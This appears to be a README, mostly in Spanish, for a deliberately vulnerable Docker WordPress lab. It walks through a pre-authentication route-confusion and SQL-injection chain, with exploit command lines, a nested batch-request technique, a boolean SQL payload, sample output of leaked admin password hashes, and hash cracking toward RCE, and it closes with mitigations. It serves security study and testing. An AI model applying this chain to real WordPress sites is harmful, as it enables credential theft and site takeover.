
Laboratorio WordPress vulnerable basado en Docker con un exploit en Python que demuestra una cadena de confusión de rutas previa a la autenticación y de inyección SQL (CVE-2026-63030 + CVE-2026-60137) para la extracción de credenciales y RCE.
| CVE | Componente | Qué es |
|---|
| CVE-2026-63030 | REST API /wp-json/batch/v1 | Confusión de rutas: desincronización entre validación y despacho de sub-requests |
| CVE-2026-60137 | WP_Query (author__not_in) | Inyección SQL cuando el valor es una cadena en lugar de un array |
Encadenadas, permiten que un atacante sin ninguna credencial ejecute SQL arbitrario (y, en la secuencia completa, llegue a RCE). Corregido en WordPress 6.9.5 y 7.0.2. Versiones afectadas por la cadena RCE: 6.9.0–6.9.4 y 7.0.0–7.0.1.
⚠️ Aviso: entorno deliberadamente inseguro. Úselo solo localmente, aislado. Nunca lo exponga a internet. El exploit debe usarse únicamente contra este laboratorio (o sistemas para los que tenga autorización explícita).
docker compose up -d db wordpress # sobe MySQL + WordPress 7.0.1
docker compose run --rm wpcli # instala o WP e cria conteúdo/usuários
Esto crea:
admin / SuperSecret123!victim / Victim_P@ss_2026 (segundo admin, objetivo de la extracción de hashes)get_items() devuelva filas)Confirma la versión vulnerable:
curl -s "http://localhost:8080/index.php?rest_route=/" | grep -o '"version":"[^"]*"'
# ... ou:
docker exec wp2shell-cli wp core version # 7.0.1
python3 exploit.py --url http://localhost:8080
Salida (resumida):
[+] Route confusion OK: GET /wp/v2/users executou sob posts get_items()
[+] SQL injection cega confirmada (oráculo booleano 1=1 vs 1=2)
[*] Fingerprint do banco de dados:
versão MySQL = 8.0.46
usuário atual = wordpress@%
database = wordpress
[+] Credenciais extraídas (pré-autenticação, sem login):
ID=1 login=admin
hash=$wp$2y$10$tjd0.l/QQOhp9eQpwrufMuYVrjv4kVoJMfmA3f2ZZew51rND7o94q
ID=2 login=victim
hash=$wp$2y$10$3Nv1oxyfIe/yKqNd/AUZSOZqQYWiJHfNAKBPdbjMhqTtVBDbuBO0e
Otras opciones:
python3 exploit.py --url http://localhost:8080 --sql "SELECT @@version" # SQL arbitrário
python3 exploit.py --url http://localhost:8080 --mode time # blind time-based
python3 exploit.py --url http://localhost:8080 -v # mostra cada query
El exploit usa únicamente la biblioteca estándar de Python 3 (sin dependencias).
docker exec wp2shell-db mysql -uroot -prootpass -N \
-e "SELECT ID,user_login,user_pass FROM wordpress.wp_users;"
Los hashes deben ser idénticos a los extraídos por el exploit (que nunca tuvo acceso a la base de datos).
serve_batch_request_v1)En wp-includes/rest-api/class-wp-rest-server.php, el handler del batch usa dos arrays
paralelos: $matches (ruta/handler emparejados) y $validation (resultado de la validación):
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) { // ex.: path "///" -> wp_parse_url()==false
$has_error = true;
$validation[] = $single_request; // <-- entra SÓ en $validation
continue; // <-- $matches NÃO recebe entrada => desync!
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
$validation[] = $error ? $error : true;
}
En el despacho, el handler se lee por índice en $matches[$i], mientras que $single_request
y $validation[$i] siguen el índice completo de $requests. Un primer que falla al
parsearse ("///") empuja todo en $matches una posición — así, una sub-request es
ejecutada bajo el handler de otra.
El esquema del batch solo acepta métodos POST/PUT/PATCH/DELETE (GET es rechazado con
rest_not_in_enum). El exploit lo sortea con batch dentro de batch:
BATCH EXTERNO (métodos válidos):
[ primer("///"),
carrier = POST /wp/v2/posts (body = BATCH INTERNO),
POST /batch/v1 ]
carrier es validado como create_item de posts (pasa: allow_batch=true, sin
params obligatorios). Como no es validado como batch, su body escapa de la validación
del enum de método.carrier sea despachado bajo el handler /batch/v1 (robado de la
3.ª sub-request) → serve_batch_request_v1 procesa el body crudo, con sub-requests GET.BATCH INTERNO:
[ primer("///"),
GET /wp/v2/users?author_exclude=<PAYLOAD>, <-- users NÃO define author_exclude => valor cru
GET /wp/v2/posts ]
Nuevo desync interno → la request GET /wp/v2/users (cargando author_exclude no
sanitizado) se ejecuta bajo posts get_items(). Allí:
// class-wp-rest-posts-controller.php
'author_exclude' => 'author__not_in', // mapeamento
Y en WP_Query (class-wp-query.php), el código vulnerable:
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // <-- string PULA a sanitização
$query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );
sort( ... );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // <-- injeção
}
Payload booleano usado: 0) AND (<condição>)-- -, transformando el WHERE en un oráculo
(lista con posts = verdadero; lista vacía = falso). Extracción carácter a carácter por búsqueda binaria.
Nota: el camino es alcanzable cuando no hay object cache persistente (la configuración predeterminada del laboratorio), como se describe en el advisory.
Este laboratorio valida la parte preautenticación (route confusion → SQLi → fuga de hashes), que es el corazón de la cadena. La secuencia completa del advisory continúa con:
$wp$2y$... (bcrypt) offline — hashcat -m 3200./wp-admin con la contraseña recuperada.author__not_in a enteros (wp_parse_id_list) incluso cuando es string;/wp-json/batch/v1, deshabilitar la REST API
no autenticada, monitorear requests con author_exclude que contengan SQL.docker compose down -v # remove containers + volumes (dados)